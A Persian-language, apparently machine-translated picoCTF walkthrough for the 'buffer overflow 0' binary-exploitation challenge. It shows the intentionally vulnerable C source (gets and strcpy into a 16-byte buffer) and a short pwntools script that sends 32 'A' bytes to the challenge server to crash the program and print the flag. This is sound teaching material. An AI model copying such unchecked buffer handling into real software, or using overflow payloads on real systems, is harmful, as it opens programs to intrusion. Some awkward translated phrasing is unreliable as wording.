بهره برداری از بافر سرریز 0 گام به گام | پیاده روی picoctf

بررسی اجمالی چالش
نام: سرریز بافر 0
دسته: بهره برداری باینری
آنچه می گیریم:
یک باینری کامپایل شده (vuln
)
کد منبع (vuln.c
)
درک چالش
این چالش به ما یک فایل باینری می دهد (vuln
) و کد منبع آن (vuln.c
). هدف این است که از یک آسیب پذیری سرریز بافر برای تغییر مقدار متغیر استفاده کرده و برنامه را نشان دهد که پرچم را نشان می دهد. سرگرم کننده به نظر می رسد ، درست است؟ بیایید شروع کنیم!
درک کد
ابتدا بیایید نگاهی به کد منبع بیندازیم تا ببینیم با چه چیزی سر و کار داریم:
#include
#include
#include
#include
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
اینجا چه اتفاقی می افتد؟
1. آسیب پذیری سرریز بافر:
عملکرد VULN دارای بافر است (buf2
) این تنها 16 بایت است. برنامه استفاده می کند strcpy
برای کپی کردن ورودی کاربر در این بافر ، اما طول ورودی را بررسی نمی کند. این بدان معناست که اگر بیش از 16 بایت به آن بدهیم ، می توانیم قسمت های دیگر حافظه را بازنویسی کنیم!
2. کنترل کننده سیگنال:
اگر یک گسل تقسیم بندی رخ دهد (به عنوان مثال ، به دلیل سرریز بافر) ، sigsegv_handler
عملکرد شروع می شود ، که پرچم را چاپ می کند.
3. ورودی کاربر:
عملکرد اصلی با استفاده از ورودی کاربر را می خواند gets
، که بسیار ناامن است زیرا میزان ورودی را محدود نمی کند. این ورودی سپس به vuln
عملکرد.
4. غذای اصلی:
این برنامه پرچم را از آن می خواند flag.txt
و آن را در یک پرچم متغیر جهانی ذخیره می کند.
در gets(buf1)
؛ عملکرد استفاده می شود ، که خطرناک است زیرا طول ورودی را بررسی نمی کند.
تابع vuln()
کاربردهای strcpy(buf2, input);
، که از آن زمان می تواند منجر به سرریز بافر شود buf2
فقط 16 بایت طول دارد.
اگر خطای تقسیم بندی را ایجاد کنیم (SIGSEGV)
، کنترل کننده پرچم را چاپ می کند!
طرح استثمار
برای حل این چالش ، ما باید:
-
بافر را سرریز کنید: برای ایجاد سرریز بافر بیش از 16 بایت ورودی ارسال کنید.
-
خطای تقسیم بندی را تحریک کنید: سرریز باعث خراب شدن برنامه می شود و باعث می شود
sigsegv_handler
و چاپ پرچم.
ما می توانیم از باینری داده شده استفاده کنیم و یک ورودی بزرگ را برای ایجاد گسل تقسیم بندی و نشت پرچم فراهم کنیم:
python3 -c 'print("A" * 32)' | ./vuln
یا می توانیم از سرور از راه دور داده شده به شرح زیر نیز استفاده کنیم.
مرحله 1: ایجاد بار
ما باید ورودی ارسال کنیم که:
در پایتون ، ما می توانیم این بار را مانند این ایجاد کنیم:
payload = b"A" * 32 # More than enough to overflow the buffer
این اتفاق می افتد:
b"A" * 32:
32 بایت نامه را ارسال می کند A
بشر این روش بیش از 16 بایت است که بافر می تواند نگه دارد ، بنابراین سرریز می شود و باعث تصادف می شود.
مرحله 2: بار را ارسال کنید
ما از اسکریپت پایتون برای ارسال بار خود به سرور از راه دور استفاده خواهیم کرد. این فیلمنامه است:
from pwn import *
# Connect to the challenge server
conn = remote('saturn.picoctf.net', 51086)
# Creating the payload
payload = b"A" * 32
# Send the payload
conn.sendline(payload)
# Receive the flag
print(conn.recvall().decode())
این اسکریپت چه کاری انجام می دهد؟
-
اتصال به سرور:
درremote
عملکرد به چالش متصل می شودserver at saturn.picoctf.net
در بندر51086
بشر -
ارسال بار بار:
درsendline
عملکرد بار ساخته شده ما را به سرور ارسال می کند. -
دریافت پرچم:
درrecvall
عملکرد پاسخ سرور را می گیرد ، که باید شامل پرچم باشد.
مرحله 3: فیلمنامه را اجرا کنید
فیلمنامه را به عنوان ذخیره کنید exploit.py
و آن را اجرا کنید:
python3 exploit.py
اگر همه چیز به درستی کار کند ، پرچم چاپ شده روی صفحه خود را مشاهده خواهید کرد! 🎉
چه اتفاقی افتاد؟
هنگامی که ما بیش از 16 بایت ورودی را ارسال می کنیم ، داده های اضافی سرریز می کنند buf2
حافظه برنامه را بافر و خراب می کند. این باعث یک گسل تقسیم بندی می شود ، که باعث می شود sigsegv_handler
عملکرد. سپس کنترل کننده پرچم را برای ما چاپ می کند.
افکار نهایی
این چالش یک روش عالی برای یادگیری در مورد سرریز بافر و چگونگی سوءاستفاده از آنها برای دستکاری در رفتار یک برنامه است. با ایجاد تصادف ، می توانیم یک کنترل کننده سیگنال را ایجاد کنیم که پرچم را آشکار می کند. پس از درک اصول اولیه ، می توانید با چالش های پیشرفته تری مقابله کنید!
پرچم 🙂 پرچم 🙂 picoCTF{...}
(هنگام اجرای بهره برداری ، پرچم واقعی را خواهید دید!)
هک شدن مبارک! 😄 اگر سؤالی دارید یا به موضوعی رسیدگی می کنید ، احساس راحتی کنید. موفق باشید با بقیه Picoctf! 🚀